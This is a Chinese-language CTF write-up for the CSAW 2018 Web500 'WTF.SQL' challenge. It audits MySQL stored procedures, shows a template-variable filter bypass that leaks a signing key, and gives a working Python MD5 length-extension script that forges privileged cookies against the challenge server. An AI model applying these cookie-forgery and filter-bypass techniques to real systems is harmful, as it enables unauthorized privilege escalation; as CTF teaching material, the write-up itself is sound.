csaw2018 web500 wtf-sql

WTF.SQL

周末跟着队里打了一下CSAW,打之前大家和我说这个比赛是for beginner,我真是信了他们的邪了。。。

这道Web500是本次CSAW web板块分值最高的一道,绕了好大一个弯做了出来,就记录一下。

信息收集

题目打开来是注册、登录等常见的功能,额外的有一个POST内容的功能

1.png

然后观察一下响应头里,发现会有一个X-SQL-Fact的头,会随机返回三句话中的一句:

MongoDB (a NoSQL database) ships with no authentication by default!

The <> operator is equivalent to !=

MySQL silently truncates data if it can't fit into the destination field

这个到最后也没用上,有点迷,害我还扫了所有的端口。。。甚至以为这是一道类似WCTF Cyber Mimic Defense 的拟态防御的题。。。

然后扫了一下基本的一些敏感文件,发现了一个robots.txt

User-agent: *
Disallow: / # procedure:index_handler
Disallow: /admin # procedure:admin_handler
Disallow: /login # procedure:login_handler
Disallow: /post # procedure:post_handler
Disallow: /register # procedure:register_handler
Disallow: /robots.txt # procedure:robots_txt_handler
Disallow: /static/% # procedure:static_handler
Disallow: /verify # procedure:verify_handler

# Yeah, we know this is contrived :(

直觉告诉我verify这个路由有点用处!!!

直接GET请求返回

Missing required param 'proc'!

一开始的时候,我以为proc是指/proc/目录的意思,然后试了些类似self、1之类的值都不对

感谢Lyle老哥告诉了我这是procedure。。。都怪我没好好看眼robots.txt

然后就可以愉快地读上面列出的procedure了~~~

所有的文件我放在了网盘里,有需要的可以自取

链接: https://pan.baidu.com/s/1-rRjt_39JxsSIz0h9o8VLg 密码: 43e2

代码审计

这份代码有点皮。不是后端语言的审计,而是mysql的procedure的审计,奇怪为啥要把逻辑写在mysql里。

大概整个业务的逻辑可以按照robots.txt的内容来划分。

整个会话有三个cookie,分别是admin、email、privs。我目测后端在接收到这三个cookie以后,会先进行合法性的校验,校验通过会放入cookies的表中。

admin_hanlder:

  • 先校验是不是admin(从数据库中拿cookie['admin'])

  • 然后判断privs有没有view_panels和create_panels的权限(通过解析cookie['privs'])

  • create_panels可以加一个table_name

  • view_panels可以dump出加的table_name的表的值

  • 所以根据题目描述里的提示,flag.txt就是要加的table_name

login_handler:

  • check用户名密码

  • 获得签名后的 cookie(admin、email、privs)


   SET signature = SHA2(CONCAT(cookie_value, secret), 256);

   SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));

index_handler:

  • 获取post_list

  • 渲染模板展示post的内容

post_handler:

  • 增加post,这里会有一个banned_post_patterns过滤了一些东西

verify_handler:

  • 下载procedure

register_handler:

  • 注册一个新用户

漏洞点

根据admin_handler的内容,不难确定我们需要伪造admin、privs的签名,来以admin的身份加一个flag.txt的table_name。

    SET signing_key = (SELECT `value` FROM `priv_config` WHERE `name` = 'signing_key');

    SET signed_privs = CONCAT(MD5(CONCAT(signing_key, privs)), privs);

其中,privs还额外多做了一次签名的工作,这个是一个典型的hash拓展攻击的例子,这里不赘述攻击的方式。

所以核心问题就是如何获取sign_cookie这个procedure中用的signing_key

    SET secret = (SELECT `value` FROM `config` WHERE `name` = 'signing_key');

    SET signature = SHA2(CONCAT(cookie_value, secret), 256);

    SET signed = CONCAT(signature, LOWER(HEX(cookie_value)));

我在做的时候,一直以为是通过一个sql注入来实现的,但是纵观全局,其实所有的procedure都是参数化形式的sql,不存在sql注入的可能性。

直到我关注到了一个叫做populate_common_template_vars的procedure

BEGIN
    INSERT INTO `template_vars` SELECT CONCAT('config_', name), value FROM `config`;
    INSERT INTO `template_vars` SELECT CONCAT('cookie_', name), value FROM `cookies`;
    INSERT INTO `template_vars` SELECT CONCAT('request_', name), value FROM `query_params`;
END

template_vars是一张临时表,存放的是用template渲染时的变量,可以发现这个procedure把config表中的所有内容都存在了template_vars中,那也就是说,template_vars中有一个config_signing_key变量,是我们需要获得的secret。

populate_common_template_vars函数只在一处被调用到,就是template_string。

而它存在一个将template模板中变量替换为template_vars中值的过程

    SET formatted = template_s;
    SET i = 0;

    WHILE ( formatted REGEXP @template_regex AND i < 50 ) DO
        SET replace_start = REGEXP_INSTR(formatted, @template_regex, 1, 1, 0);
        SET replace_end = REGEXP_INSTR(formatted, @template_regex, 1, 1, 1);
        SET fmt_name = SUBSTR(formatted FROM replace_start + 2 FOR (replace_end - replace_start - 2 - 1));
        SET fmt_val = (SELECT `value` FROM `template_vars` WHERE `name` = TRIM(fmt_name));
        SET fmt_val = COALESCE(fmt_val, '');
        SET formatted = CONCAT(SUBSTR(formatted FROM 1 FOR replace_start - 1), fmt_val, SUBSTR(formatted FROM replace_end));
        SET i = i + 1;
    END WHILE;

    SET resp = formatted;

其中的template_regex为

SET @template_regex = '\$\{[a-zA-Z0-9_ ]+\}';

上面那段代码很好理解,大概就是从头开始碰到一个符合template_regex正则的字符串就替换成对应名字template_vars中的值,然后循环替换直到50次。

也就是说如果template或者说处理中的template中存在${config_signing_key}字样,那我们就大功告成了。

可惜的是直接尝试后发现被上面提到的banned_post_patterns给ban了。

经过了一些试探,banned_post_patterns的规则应该是禁了'\$\{config_[a-zA-Z0-9_ ]+\}'这样一个正则

config开头的变量都禁了。

这时候就需要去绕过这个的限制。还是populate_common_template_vars这个procedure,它还把query_params都存进了template_vars,那么如果我们请求是多加一个比如test参数,然后post一个${request_test}应该就能解析成功。

2.png

激动人心的时刻!!!

3.png

获得了signing_key以后,只要再fuzz一下privs里的那个secret的长度即可完成整个的伪造。

我是拿github上的一个md5 拓展攻击的脚本改改直接跑的,脚本如下

# coding:utf-8

import md5py
from urllib import unquote
import hashlib
import struct
import urllib
import binascii
import requests
import sys
reload(sys)
sys.setdefaultencoding('utf8')

def payload(length, str_append):
    pad = ''
    n0 = ((56 - (length + 1) % 64) % 64)
    pad += '\x80' 
    pad += '\x00'*n0 + struct.pack('Q', length*8)

    return pad + str_append

def hashmd5(str):
    return hashlib.md5(str).hexdigest()

def check_extension_attack():
    for i in range(1, 65):
        s = "A" * i
        mm = md5py.md5()
        assert hashlib.md5(s).hexdigest() == mm.my_md5(s)
        print mm.my_md5(s)
    for i in range(1, 100):
        for j in range(1, 10):
            s = 'A' * i
            salt = 'B' * j
            mm = md5py.md5()
            msg = salt + s + payload(len(salt+s), 'joychou')
            assert hashmd5(msg) == mm.extension_attack(hashmd5(salt+s), 'joychou', len(salt+s))

# check if md5 extension attack is correct
# check_extension_attack()

if len(sys.argv) < 3:
    print "Usage: ", sys.argv[0], "  "
    sys.exit()

hash_origin = sys.argv[1]
str_append = sys.argv[2]
for lenth in range(16,32):

    m = md5py.md5()

    str_payload = payload(lenth, str_append)
    md5ans = m.extension_attack(hash_origin, str_append, lenth)
    # print "Payload: ", repr(str_payload)
    # print "Payload urlencode:", urllib.quote_plus(str_payload)
    # print "md5:", m.extension_attack(hash_origin, str_append, lenth)
    pay = bytes(md5ans) + bytes(str_payload)
    pay1 = binascii.b2a_hex(pay)
    salt = "an_bad_secret_value_nhcq497y8"
    stri = pay + bytes(salt)
    sha256 = hashlib.sha256()
    sha256.update(stri)
    res = sha256.hexdigest()
    url = "http://web.chal.csaw.io:3306/admin"
    cookies = {"admin":"3efb7d99e34432bb6405b6a95619978d4904a2f5b5d8d56b3702939c226d729431",
  "email":"7c7034911c800d26f51c483cba33adf191358b91334faa1e228cbcdc82a11d5e726562697274687779776140676d61696c2e636f6d",
    "privs":res+pay1
    }
    print lenth
    print str_payload
    print res+pay1
    try:
        res = requests.get(url=url,cookies=cookies,timeout=4)
        print res.text
    except:
        pass

这里还有点小的要注意的地方是,view_panels和create_panels在伪造的时候应该是;panel_view;panel_create;这样,因为hash拓展会加padding,不用;分割hash_priv这个procedure会问题。

最后试出来是长度是24,就可以愉快的get flag了。

4.png

你可能感兴趣的:(csaw2018 web500 wtf-sql)